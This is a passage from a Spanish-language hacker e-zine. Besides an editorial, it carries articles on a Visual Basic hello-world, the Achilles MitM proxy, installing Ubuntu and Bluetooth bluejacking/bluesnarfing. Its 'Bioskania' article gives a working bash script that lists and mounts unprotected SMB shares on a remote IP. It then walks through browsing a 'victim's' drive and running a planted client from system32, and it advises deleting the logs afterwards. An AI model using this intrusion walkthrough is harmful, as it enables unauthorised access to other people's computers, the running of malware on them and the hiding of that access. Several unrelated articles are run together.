pag 1 de 44 hh ezine...pag 2 de 44 – hh ezine tres meses después del lanzamiento a escala mundial...

44
Pag 1 de 44 HH eZine

Upload: others

Post on 15-Aug-2021

0 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 1 de 44 – HH eZine

Page 2: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 2 de 44 – HH eZine

Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano,nos enorgullece en gran medida la publicación de esta segunda revista.Han sido varios meses de trabajo intenso, y debemos primeramente agradecer a los autores de estosy otros artículos que han llegado hasta nosotros, por su gran afán de colaboración y ayuda desinteresada,dando sentido a la palabra “comunidad hacker”.Nunca comunidad sigue en expansión y cada ves son mas los usuarios que llegan hasta la misma, y queesperamos que sigan con nosotros por mucho tiempo.Deseamos que esta segunda eZine tenga tanta aceptación y genere tanta expectación como lo hizosu predecesora, leída por miles de personas, y publicada en cientos de portales.Y si os interesaron los artículos de la primera, no os perdáis esta, cargada de muchos temas y novedades.

> P ro g ra m a c ió n P á g . 2

C o m e n z a n d o e n V isu a l B a sic

> P a so a P a so P á g . 7

Manual de Achilles

> L in u x P á g . 9

Instalación y configuración de Ubuntu

> B lu e T o o th P á g . 1 4

Peligros del Bluetooth

> In tru s ió n P á g . 1 6

Bioskania, desde SAMBA con amor.

> Ju e g o s P á g . 2 0

Transforma tu DS en herramienta de trabajo.

> C ib era c tiv ism o P á g . 2 3

Evolución de la criptografía. Panorama actual

> H a c k in g P á g . 2 9

XSS , el enemigo silencioso

>Windows

Introducción a la API de Windows (II) P á g . 3 4

H a c k H isp a n o e s u n a c o m unid a d lib re d o n d e to d o e lm u n d o e s b ie nv e nid o , d o n d e n a d ie e s e x tra n je ro , d o n d e to d o sb u sc a m o s a lg o y d o n d e to d o s lo o fre ce m o s.

N u e stra c o m u n id a d n o e s m á s q u e u n p u n to de e n c u e n -tro p a ra to d o s lo s q u e e stá is p e rd id o s e n e ste c a da ve z m á sc o nfu so m u n d o de la so b re info rm a c ió n , d o n d e e n c o ntra re isg e nte c o m o v o so tro s q u e in te n ta rá a yu d aro s y d o n d e se g uroe nc o ntra re is a lg uie n q u e p re c isa de vu e stra a yu d a .

S e d b ie nve n id o s a H a c k H isp a n o .

www.HackHispano.com

Page 3: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 3 de 44 – HH eZine

Bienvenidos al maravillosomundo de la programación

1. Introducción: Conozcámonos

Antes de empezar, me vais a permitir que mepresente. Soy Pedro del Valle, y trabajo comoprogramador profesional. La intención de estecurso es iniciar a aquellas personas quesienten la curiosidad de saber como funcionacualquier programa, aplicación o software, yaque todo lo citado es creado porprogramadores y existen gracias a laprogramación. Durante los diferentes cursosque se impartirán en la revista vamos aintentar dejar un poco a parte la teoría yceñirnos a la práctica. Seguramente te estaráspreguntando, ¿por qué?,Pues porque la teoría, todo y que es la base deuna buena programación, no está incluida enla finalidad real de un curso como el que estepretende ser.El curso intentará que tu, desde tu PC, puedasdesarrollar las mismas aplicaciones que desdeaquí vamos a crear, y que cuando obtengas elfruto de tu trabajo, hallas adquirido lahabilidad de modificarlas o crear otras que seadaptena tus necesidades sin la ayuda de nadie(exceptuando las MSDN, claro).Por último comentar que este curso deprogramación estará orientado a entornosvisuales no relacionados con web, aunque sise verán conexiones por puertos, pero cadacosa a su tiempo, y como algunos ya sabrán,lo primero es el “helloworld”.

En cada artículo que leáis tendréis una brevedescripción teórica necesaria para entenderque es lo que estamos haciendo.

2. La herramienta: Visual Basic

Seguro que mas de uno se estará preguntandoahora mismo el porque de utilizarVisual Basic, si en todos los rincones deInternet dicen que C/C++ es muchísimomejor. C/C++ es un lenguaje de programaciónestupendo, muy bueno, te permite rascar elPC a su nivel más bajo, trabajando coninterrupciones si hace falta.Pero a su vez es engorroso, muy lineal,anticuado y cada vez con menos salidaprofesional, y es esta última razón la que meha hecho decantar por VB 6.0, ya que paraaquellos que os queráis dedicarprofesionalmente a esto, tarde o temprano osdaréis cuenta de que los entornos deMicrosoft, Sun y en general los visuales o laprogramación web son los que actualmentetienen mas salida en el mercado.Después de esta charla, dejad que os diga unacosa: no dejéis de estudiarC/C++, ya que yo lo considero muyimportante como lenguaje base.Otra razón por la que utilizamos VB es laamigabilidad del entorno de desarrollo. Sihiciésemos una pequeña agenda en C, pocosla acabarían correctamente, mientras que enVB, ya sea por el abanico de opciones en susmenús o por la claridad de los mas queposibles errores producidos durante en tiempode ejecución, seguro que todos la lograríamosterminar.

Page 4: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 4 de 44 – HH eZine

3. Lo necesario: Empieza la práctica

Como ya he comentado no voy aentretenerme en la teoría de laprogramación, solo quiero que sepáis queVB (desde ahora Visual Basic será VB) esun lenguaje de programación orientado aobjetos (según unos) o/y a eventos (segúnotros). Bajo mi punto de vista, VB estáorientado tanto a eventos como a objetos,pero realmente no nos importa, aquí cadauno dará la versatilidad necesaria alcompilador.Lo primero que necesitáis es el VB 6.0, quepodréis encontrar en el paqueteVisual Studio 6.0Es mi deber indicar que VB no es freeware,sino que es un producto deMicrosoft el cual tiene una licencia quetienes que pagar antes de poder utilizarlo, yasea en enseñanza o desarrollo.La instalación es bastante sencilla, si solotenéis el CD de VB, estamos ante un clásicode las instalaciones: “Siguiente, siguiente,acepto el contrato, siguiente...”.Si por el contrario tenemos los CD delVisual Studio, podemos hacer dos cosas,elegir instalación personalizada yseleccionar solo el “check” de VB, o instalartodas las herramientas que están en el CD(recomendado).¿Ya está instalado?, bien, pues ahorapodríamos instalar el SP (Service Pack) delVB, que encontrarás en la página dehttp://www.microsoft.com. Si no lo instalas,podrás trabajar igualmente, pero esrecomendable. Lo que si es imprescindible

es que actualices los gestores de BBDD parafuturas aplicaciones, para ello debes ira la página de Microsoft y bajar los instalablesMicrosoft Jet SP3 y MDAC 2.6 o2.7Para encontrar estos productos debemos ir ahttp://www.microsoft.es, hacemosclick en “área de descarga” (véase Fig. 1)

Nos aparecerán dos combos de selección.Desplegamos el primero y escogemos“Data Access Components” (véase Fig. 2),

Hacemos click en el botón “go”,nos aparecerá

Page 5: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 5 de 44 – HH eZine

una página con varios componentes parainstalar, nosotros necesitamos exactamenteel “Jet 4.0 Service Pack 3 Update” y elMDAC 2.6 Service Pack 2 - Spanish. (Elcurso es algo antiguo, actualmente podemosinstalar el MDAC 2.8)

Una vez bajados, los instalamos, ya estamoslistos para empezar.Bien, hoy vamos a hacer el famoso helloworld. ¿Y en que cosiste?, el helloworld Es un mito entre los programadores,se trata de que, cuando se empieza aestudiar un nuevo lenguaje de programación,y se empieza con la practica, crearun programa que con su ejecución muestreun mensaje por pantalla que muestreel literal hello world o en su defecto, “holamundo”.Para llevar a cabo esto, tenemos que abrir elvisual basic, lo encontraremos enInicio -> Programas -> Microsoft VisualStudio -> Microsoft Visual Basic 6.0 enel caso de los que instalasteis el VisualStudio, y para los que solo instalasteis elVisual Basic lo encontrareis en Inicio ->Programas -> Microsoft Visual Basic6.0Al iniciar la aplicación nos aparecerá unaventana madre con otra hija que no

nos permitirá continuar hasta que elijamos unaopción. (véase FIG4)

Bien, para nuestra prueba de hoy, no explicarélas diferentes opciones de esta ventana, ya queeso será en futuras entregas. Solo deciros queaquí elegiremos el tipo de proyecto que vamos acrear, es decir, un ejecutable, una DLL, unOCX...Nosotros, para nuestra primera aplicación vamosa elegir “EXE estándar”, ya que nuestroprogramita será un ejecutable.Cuando le demos a aceptar, nos apareceránuestro entorno de trabajo, que en un principiosolo constará de un formulario, llamado pordefecto “Form1”.También nos deberían aparecer varias paletas, ala izquierda tenemos los objetos por defecto quepodemos añadir al formulario, a la derecha, elexplorador de proyectos, el cuadro depropiedades del objeto seleccionado y la posicióninicial del formulario en pantalla.(véase FIG5)

Page 6: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 6 de 44 – HH eZine

Bien, en esta sesión no explicaremos nadasobre los diferentes objetos o sobre el cuadrode propiedades, ni tan solo explicaremos losmenús del Visual Basic, sino que iremosdirectos al grano y crearemos un programaque al ejecutarse imprima el mensaje helloworld por pantalla (recordad que siempredebéis curiosear vosotros mismos).En futuros artículos explicaremos todo loque hoy nos dejamos pendientes, no ospreocupéis por eso.Vale, supongo que estáis listos, haced dobleclick sobre el formulario. Inmediatamente ostendría que aparecer un editor de texto condos líneas de código escritas, y el cursorentre ellas. (véase FIG6)

¿Qué es lo que ha pasado?, pues que hemosaccedido al evento principal del objetoformulario.Un evento es una acción, por ejemplo, hacerclick en un botón es conocido comoel evento button_click. En este caso, el eventoprincipal de un formulario es el form_load. ¿Yque es el form_load ?, muy fácil, es el evento quese activa cuando ejecutamos el programa porprimera vez, es decir, que cuando se inicie laaplicación que estamos creando se va a accionarel form_load. ¿Que conlleva esto?, pues que todoel código que escribamos entre las dos líneasque nos han aparecido anteriormente se va aejecutar al iniciar el programa (alejecutarse el form_load), y así con todos loseventos.Una vez entendida esta teoría, vamos a ponerloen práctica. Para mostrar un mensaje por pantalla(la clásica ventana con el botón aceptar)utilizaremos un objeto que viene por defecto enWindows llamado MsgBox.Escribiremos entre las dos líneas, es decir, dentrodel evento load (fijaos que pone Form_Load() )la siguiente línea:MsgBox “Hello world”Muy probablemente, al escribir MsgBox y pulsarla barra espaciadora os ha aparecido una líneaamarilla con información. Esta información esuna ayuda para el programador, y nos estáindicando que parámetros podemos pasarle alMsgBox (véase FIG7)

Page 7: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 7 de 44 – HH eZine

Los parámetros son diferentes opciones quepodemos pasar a los objetos del VB.En este caso solo vamos a pasarle el primero,que será un literal, el cual aparecerá enpantalla en forma de mensaje.Una vez escrito, solo nos falta probarlo, ypara ello tenemos tres opciones, la primera es

hacer click sobre la flecha azul que hay en elmenú superior, la segunda es ir al menú“Ejecutar” e “Iniciar”, y la última (la masutilizada) es presionar directamente la tecla“F5” o “ctr + F5” para ser mas cautelosos (sisolo pulsamos F5 no se van a tener en cuantatodos los errores).Si al hacer esto, os aparece una ventana conun botón aceptar y el mensaje Helloworld” (véase FIG8), Lo habéis hecho bien, sios da cualquier error, fijaos en la fig9, ya queese es el código de vuestro programa

Después de pulsar aceptar, veréis que osaparece un formulario en blanco, no ospreocupéis, es el form inicial de nuestroproyecto, el cual no tienen ningún objetoporque no se lo hemos puesto.Aquí os dejo, y aunque tenéis poco parapracticar, os recomiendo que probéis cosas,como intentar enviarle más parámetros alMsgBox.Un saludo, y suerte.

Page 8: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 8 de 44 – HH eZine

MANUAL DE ACHILLES

1.¿ Qué es Achilles ?

Achilles es un servidor proxy que fueconcebido para probar la seguridad deaplicaciones web.Ahora, achilles nos permite realizar ataquesdel tipo "man in the middle" para elprotocolo HTTP.

2.¿ Qué es un ataque "Man in theMiddle" (MitM) ?

Como lo dice su nombre, "hombre en elmedio" es un ataque en el cual algo oalguien adquieren la capacidad deinterceptar mensajes entre dos puntos, leerlay modificarla al antojo del mismo, sin quelos dos puntos se enteren.

3.¿ Cómo usamos Achilles ?

Tenemos que configurar nuestro navegadorpara poner el proxy. Se puede usar cualquiernavegador, pero pondré los ejemplos paraFirefox e IE.

En el caso de del Firefox Hacemos esto:vamos a:Herramientas>Opciones>General>Configurar la conexión.En esa ventana elegimos la opción"Configuración manual"En HTTP proxy ponemos la siguientedirección: 127.0.0.1 localhost (localhost esun nombre reservado que tiene todoordenador, router o dispositivo que dispongade una tarjeta de red ethernet para referirse así mismo) y elegimos el puerto 5000 que es

el que está por defecto en Achilles, aunque sepuede cambiar.

En la parte que dice: "No Proxy For" Tenemosque sacar "127.0.0.1" y "localhost"Sino no servirá de nada.

Para IE:Herramientas>Opciones de Internet>ConexionesEn la pestaña Conexiones presionamos el botónConfigurar.Clickeamos en la caja que dice: "Usar unservidor proxy para esta conexión(estaconfiguración no se aplicará a otras conexiones)"Y escribimos en Dirección: 127.0.0.1 en elpuerto 5000.

Una vez configurado el navegador, iniciamosAchilles. En esta ventana encontramos una seriede botones.

1. Hacemos que Achilles empiece a funcionar.2. Paramos Achilles, no se podrá navegar porInternet, al menos que saquemos el proxy.3. Borra el texto interceptado.4. Abre una ventana donde solo se mostrará lainformación que el cliente (Nosotros) enviamosal servidor.4. Abre una ventana donde solo se mostrará lainformación recibida del servidor.

1. Habilitamos la interceptación de mensajes.

Page 9: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 9 de 44 – HH eZine

2. Interceptamos los datos del cliente(Nosotros) es decir, lo que nosotrosenviamos al servidor.3. Interceptamos los datos del servidor, loque nosotros recibimos.4. Sirve para guardar los logs queobtenemos.5. No muestra en los logs las imágenes.

Por último el Botón, "Send" sirve paraenviar lo que hemos interceptado. Para quese mantenga la comunicación.

4. ¿ De dónde descargamos Achilles ?

Este programa solo se encuentra disponiblepara Windows, pero hay alternativas.

Windows:

http://www.softpedia.com/progDownload/Achilles-Download-34877.html

MAC OS X:

http://machilles.softonic.com/mac

Para Linux:

http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=61823

Este programa tiene unas cuantas más opciones,además.

Autor: Cypress

Page 10: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 10 de 44 – HH eZine

INSTALACION Y CONFIGURACIONDE UBUNTU

¿Nunca te has decidido a instalar un linux?¿Te has decidido pero no sabes por dóndeempezar? ¿Te han dicho algo como "puedesempezar con ubuntu”?

Si la respuesta a alguna de estas preguntas esafirmativa quizá saques provecho de esteartículo sobre cómo obtener e instalar ladistribución de GNU/linux ubuntu FeistyFawn.

Hay varias formas de obtenerla, aquípropongo las siguientes:

Descargar la imagen isohttp://releases.ubuntu.com/7.04/ubun...sktop-i386.isoPesa 698.8 Mb. Con buena conexión en unahora la tenemos en nuestro haber.

Pedir cd vía webhttps://shipit.ubuntu.com/

Otras posibilidadesOtras posibilidades para la adquisición de ladistribución lo podéis ver enhttp://www.ubuntu.com/getubuntu

Si tenéis dudas, los que tenéis un ordenadorpersonal común debés descargar la imagencorrespondiente a la arquitectura "Intel x86".

Quote:

PC (Intel x86) desktop CDFor almost all PCs. This includes mostmachines with Intel/AMD/etc typeprocessors and almost all computers that runMicrosoft Windows. Choose this if you areat all unsure.

Quemar la imagen en un cd

Lo siguiente que tenéis que hacer es convertir esaimagen en un cdrom autoarrancable. Es tansencillo como abrir tu utilidad favorita paraquemar cds y escoger la opción que sueleaparecer como "Grabar imagen en disco". Si usasNero StartSmart deberás activar las opcionesavanzadas para que te aparezca la opción. Si yatienes la suerte de disponer de un GNU/linux yéste tiene k3b instalado tienes esta opción en lapestaña "Tools" del menú principal.

Page 11: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 11 de 44 – HH eZine

Arrancar la livecd

Para arrancar la livecd tendremos queasegurarnos de que nuestra máquina tienenuestro cdrom como primer dispositivodonde buscar un sistema arrancable.

Cada BIOS es diferente, pero a la mayoría seaccede pulsando la tecla "Supr" después depresentarnos la pantalla de la tarjeta gráfica.Una vez allí habrá algo como "boot devicesequence" o algo por el estilo. Tras guardarlos cambios reiniciaremos la máquina con elcdrom dentro.

Nuestra máquina iniciará de un mododistinto a como suele hacerlo Nospresentará una lista de opciones a elegir.Para continuar con nuestra decididainstalación deberemos elegir "Start or installubuntu" Entonces aparecerá un bonito logoubuntero y una especie de barra de progreso.

Seguidamente comenzará a iniciar Gnome,que es el gestor de escritorio por defectopara esta distribución, para dejarnos en unescritorio limpio y ordenado en el queencontraremos un icono llamado "install".

Esto es la livecd, un sistema completo yfuncional que se está ejecutando desde lamemoria RAM de nuestro PC, sin alterar losdatos de nuestros discos, ni el arranque denuestros sistemas. Con reiniciar la máquinatendremos todo como estaba, intacto. Pero eso noes lo que haremos. Como digo, decididamente,continuaremos con nuestra aventura de instalaruna distribución de GNU/linux en nuestramáquina. Hacemos doble click sobre ese icono"install".

Navegaremos por un sencillo sistema deinstalación gráfico hasta dar por terminadanuestra instalación.

Lo primero que elegimos es nuestra localización,que indicará al sistema cosas como nuestro usohorario. Para nuestra instalación de ejemplo elijoMadrid, aunque venía como default porque elsitio del que descargamos la release es muyinteligente y lo detectó automágicamente.

Page 12: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 12 de 44 – HH eZine

Spain/Spain...

Una vez hecho esto pasamos a lo que todoslos novatos consideran el peor trago por elque han de pasar en la instalación decualquier sistema operativo alternativo:

El particionado.

Hay muchas formas distintas de particionar undisco. A menudo, mientras más meticuloso oparanoico es un administrador más particionestiene. En servidores en producción es casiindispensable montar las carpetas /var y /usr enparticiones distintas, para que no se mezclenpermisos y/o configuraciones. Pero comopresuponemos que es una instalación cuyafinalidad es principalmente la de habituarnos aluso de un GNU/linux obviaremos estosmenesteres y nos conformaremos con lo mínimoindispensable para un funcionamiento aceptable.Esto es, deberemos crear una partición nuevapara la raíz del sistema y otra para memoria deintercambio o swap.

Seleccionaremos por tanto el particionadoguiado. El caso que nos sirve de ejemplo elsistema de instalación reconoce el disco duro y lonombra "sda", con lo que aparece una opción quereza "resize scsi3(0,0,0), partición #1 (sda) anduse free space". ¿Qué significa todo esto? Pues nimás ni menos que tomará la primera particióndetectada en el disco, en la que se encuentra unainstalación de otro sistema operativo funcional,la redimensionará y usará el espacio que liberepara crear las particiones necesarias para lanueva ubuntu.

Quien tenga claro cómo quiere reestructurar sudisco duro puede obviar esta opción y pasardirectamente a la edición manual de la tabla departiciones, con lo que podrá elegir el espacioexacto que restará a la partición original y portanto el que le piensa dedicar al nuevo sistema.

Page 13: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 13 de 44 – HH eZine

Mi costumbre es la de separar todos losdatos independientes del sistema operativoen una partición distinta. Aunque misactuales andaduras vayan por otrosderroteros he sólido usar FAT32 comosistema de ficheros para esta partición dedatos por una sencilla razón, es accesibletanto por sistemas propietarios como porsistemas libres.

A continuación explico esta segunda opción,la de editar manualmente la tabla departiciones. Ya hemos dicho que la primerapartición está definida y es funcional. Conanterioridad a las modificaciones queefectuaremos ésta ocupa la totalidad delespacio del disco. Como estamos en el año2007 supondremos que tenía el monopoliosobre un maravilloso disco de 250Gb, con loque podemos hacer la repartición de lasiguiente manera:

1 Partición primaria para otro sistemaoperativo (por ejemplo NTFS) de 60Gb2 Partición primaria para la raíz de nuestroubuntu (para ella elijo EXT3) de otros 60Gb3 Partición primaria para la memoria deintercambio de ubuntu (SWAP) de 2Gb4 Partición lógica para el almacenamiento dedatos (FAT32) de 128Gb

Comenzamos seleccionando el disco. Eneste caso /dev/sda1 (primera partición deldisco sda)Pulsamos sobre el botón "edit partition""new size" (nuevo tamaño) pasará de250000 (250Gb) a 60000

Después de esto nos pedirá confirmación

para continuar, mostrando la correspondienteadvertencia. Evidentemente

tendremos que aceptar para poder proseguir conel particionado y, por tanto, con la instalación.¡Ojo! Siempre que se manipula la tabla departiciones es ALTAMENTERECOMENDABLE haber hecho una copia derespaldo del disco, porque es una tareapotencialmente peligrosa para la integridad dedichos datos.

Aceptamos el riesgo y nos muestra el nuevoaspecto de nuestro disco tras los cambiosefectuados:

/dev/sda/dev/sda1 NTFS /media/sda 60003 Mbfree space 190991 Mb

Con eso tenemos unos gigas de los que disponer.Pulsamos en "free space", luego en "NewPartition", para proceder a definir la particiónque destinaremos a la raíz del sistema:

Type for the new partition: Elegimos "primary"New size in megabytes: 60000Location for the new partition: beginningUse as: ext3Mount point: (este campo lo dejamos en blanco)

Luego haremos igual para la swap:

New size: 2000Use as: swap

Y para la partición de datos:

Type for the new partition: "logical"New size: "128988"Use as: fat32

Page 14: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 14 de 44 – HH eZine

La partición en ext3 se montará en "/" y lafat32 en "/dos" por ejemplo. Pulsando"adelante" proseguimos hasta la creación deun usuario regular, para lo que deberemosproporcionar el nombre y el password. Unavez elegidos ambos pulsamos en "install". Secopiarán los archivos necesarios, detectará elresto de sistemas de nuestro equipo yelaborará el menú del gestor de arranque. Nosavisará cuando termine y ya podremosdisfrutar de las ventajas de un PC conarranque dual. Espero les sirva y buenprovecho!

Autor: j8k6f4v9j

Page 15: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 15 de 44 – HH eZine

SEGURIDAD EN BLUETOOTH

Hoy en día, muchos móviles utilizanbluethoot y cada vez mas móviles loincluyen.Se esta imponiendo como estándar debido asu bajo costo, buena velocidad detransmisión de datos, buen alcance y porultimo nadie nos cobra por pasarse archivospor bluethoot.

Hoy por hoy, muchos teléfonos tienenbluethoot, y probablemente algunos cuantosdueños no tengan idea de esto y otros tantodejen la configuración de defecto, estoimplica dos grandes peligrosBluejacking y Bluesnarfing.

Bluejacking

Es una simple forma de mandar mensajescon textos personalizadosa cualquier dispositivo Bluetooth sin pedirpermiso, que podría derivar en spam porbluethoot.

¿Como hacerlo?

1- En tu teléfono con Bluetooth, creás uncontacto en la agenda con Name="Hola xxx"(o lo que sea hasta un máx de 248caracteres)2- Ponés a tu teléfono a buscar otrosteléfonos con Bluetooth cercanos ("scan fordevices")3- Cuando los encuentre le envias esecontacto que creaste; y la "victima" que, engeneral, no tienen idea de esto se va asorprender.

Los mensajes solo se limitan a 248 caracteres yhay jugá con ese espacio.

¿Como evitarlo?

Hacerlo es muy fácil, evitarlo también, solo hayque mantener el bluethoot en estado apagado-invisible, además esto sirve para que la bateríadure mas ya que el bluethoot consume muchaenergía.

Bluesnarfing

El Bluesnarf es algo más complicado de hacer;mucho más dañino y, aunque ya fue reconocidopor Nokia y Sony Ericsson como un problema deseguridad, está en proceso de "arreglo" con elnuevo soft de Bluetooth en el firmware del loscelulares.

El problema en este caso es que cuando unteléfono está en modo "Visible" (o sea que otrosdispositivos bluetooth lo pueden detectar),en algunos es posible conectarse al dispositivosin que el usuario se entere, y tener acceso adatos del mismo (ej.: Agenda, Calendario,etc.)

La mayoría de los usuarios no conocen estosproblemas y por ejemplo, gracias a un "Snarfattack" otro usuario puede estar usando su accesoa internet; tus minutos de aire o robando susdatos.

Gracias a dios, el bluesnarfing no esta difundidoy solo es conocido por las operadoras y unaspocas personas.

Page 16: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 16 de 44 – HH eZine

¿Como evitarlo?

Muchos piensan que poniendo en modoinvisible se arregla el problema pero hayherramientas que permiten ver losdispositivos aun en estado invisible y entrara ellos.La solución definitiva es apagar el bluethoot

Conclusión final

Como verán no es difícil evitar un ataque, bastacon tener en bluethoot en estado apagado-desactivado y activarlo estrictamente cuando seanecesario.

Autor: 4v7n42

Page 17: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 17 de 44 – HH eZine

BIOSKANIA, DESDE SAMBA CONAMOR

Bueno esta vez os mando algo mas cortito,pero eficaz, para linux. Se trata de un scriptde bash, que nos ayuda a conectar amáquinas remotas por netbios, siempre ycuando no haya password de por medio. Setrata de usar los paquetes de samba-commony smbclient, todo junto en un mismoscript. Este se edita en vim o en el editor quese use... y se guarda en la ruta de ejecutablespath. En este caso su nombre es bioskania,podeis ponerle el que considereis oportuno.

Veamos el script:------------------------------------------------------#!/bin/sh# Un scanner de kania# Obtiene el nombre netbios y los recursoscompartidos de una ip,# y si estos existen, monta el recursoelegido.## Requiere tener instalados los paquetessamba-common y smbclient.## Se puede usar,modificar y distribuirlibremente.# (c) kania 2007########################################################################### TODO: De momento sólo funciona si lavíctima es tan madre que no ha·# puesto contraseñas a los recursoscompartidos.·#########################################################################

#if test -z $1thenecho "Esto funciona así: bioskania <ip>"elseip=$1nmblookup="/usr/bin/nmblookup"smbclient="/usr/bin/smbclient"name=$($nmblookup -d1 -A $ip | grep '<00>' |head -1 | awk '{print $1}')if [ "$name" != "" ]thenecho "El nombre netbios para $ip es $name"echo "Los recursos compartidos por $ip son:"i=0for rec in $($smbclient -N -L $name -I $ip | grepDisk | awk '{print $1}')

dorecursos[$i]="$rec"echo "$i) ${recursos[$i]}"let "i = $i +1"doneif [ "${recursos[0]}" != "" ]theneleccion=999let "k=${#recursos[@]} -1"while [ "$eleccion" -gt $k ]doecho "¿Que recurso deseas montar?"read eleccionecho "has elegido montar//$name/${recursos[$eleccion]}"$smbclient //$name/${recursos[$eleccion]} -d0 -N -I $ipecho ""echo ""echo "Has sido una nena mala.Muuuuuuuuuuuuuuuuacks"doneelseecho "No hay recursos compartidos"fi

Page 18: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 18 de 44 – HH eZine

elseecho "No está disponible el nombre netbiospara $ip, ¿puerto cerrado?"fifi-----------------------------------------------------------------------

¿Cómo funciona?

Bien, veamos sus commandos

Podemos, listar, cambiar, renombrar, borrar,ejecutar, etc, etc...

Ejecutamos el script (ojo que pongo mi ip paraevitar malentendidos :P,por supuesto, las pruebas no se han hecho sobremi ip, por si a algúnlisto se le ocurre, avisar que tengo el filtro muyfino)

[kaniaserver~]# bioskania 80.32.232.60

-- Si la ip puesta no tiene acceso al netbios nosdirá:

No está disponible el nombre netbios para80.32.232.60 , ¿puerto cerrado?

-- Si la ip puesta si tiene acceso al netbios nosdirá:Los recursos compartidos por 80.32.232.60 son:

0) printer1) C2) D

¿Qué recurso deseas montar?

-- A lo que nosotros contestaremos, la opciónmas interesante... en estecaso elegimos C dándole a la tecla 1, y entramosen modo consola:

smb: \>

-- Una vez aquí podemos listar, editar, borrar,renombrar, etc, etc.Ejemplos:

smb: \> ls

Page 19: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 19 de 44 – HH eZine

FOUND.000 DHS 0 WedJun 25 09:27:06 2003

WINDOWS D 0 WedMay 21 23:56:44 2003

PAGEFILE.SYS AHS402653184 Wed Aug 13 10:16:20 2003

Bootfont.bin AHSR 4952 TueSep 10 12:00:00 2002

ntldr AHSR 234752 TueSep 10 12:00:00 2002

NTDETECT.COM AHSR47580 Tue Sep 10 12:00:00 2002

boot.ini HS 194 Wed May21 18:10:30 2003

Documents and Settings D 0 ThuMay 22 00:05:56 2003

CONFIG.SYS A 0 WedMay 21 18:15:50 2003

IO.SYS AHSR 0 WedMay 21 18:15:50 2003

MSDOS.SYS AHSR 0Wed May 21 18:15:50 2003

System Volume Information DHS 0Wed May 21 18:20:28 2003

Recycled DHS 0 WedMay 21 18:59:44 2003

aniwin D 0 Thu May22 09:26:10 2003

copiaeurowin D 0 ThuMay 22 09:34:18 2003

Mis documentos DR 0 ThuMay 22 09:41:12 2003

WEBempresa D 0 ThuMay 22 09:36:16 2003

ewsolution D 0 Thu May22 10:45:10 2003

getmac.exe A 11264 ThuMay 22 11:33:46 2003

--- Elegimos donde queremos ir, en este casohemos subido un cliente a:\c\WINDOWS\system32\Systemhk,cambiamos directorio, ya sabeis:

smb: \>cd WINDOWS\system32\Systemhk

--- Supongamos que el cliente que tiene sellame client3 y que queramosejecutarlo, primero nos aseguramos de queesta listándolo:

smb: \> ls client3

---- Ahora lo ejecutamos:

smb: \> open client3

Bueno una vez hecho esto, y si no quereispasearos por el disco ycuriosear más, antes de salir, no olvidaros deborrar los logs :)

Al salirnos nos mandará un mensaje que estaen el script que podéis

Page 20: Pag 1 de 44 HH eZine...Pag 2 de 44 – HH eZine Tres meses después del lanzamiento a escala mundial de la primera eZine Oficial de Hackhispano, nos enorgullece en gran medida la publicación

Pag 20 de 44 – HH eZine

cambiar a gusto y paladar, en mi caso puse:

Has sido una nena mala.Muuuuuuuuuuuuuuuuacks

Espero que os sirva de utilidad y por favor

haced buen uso de él (juas).

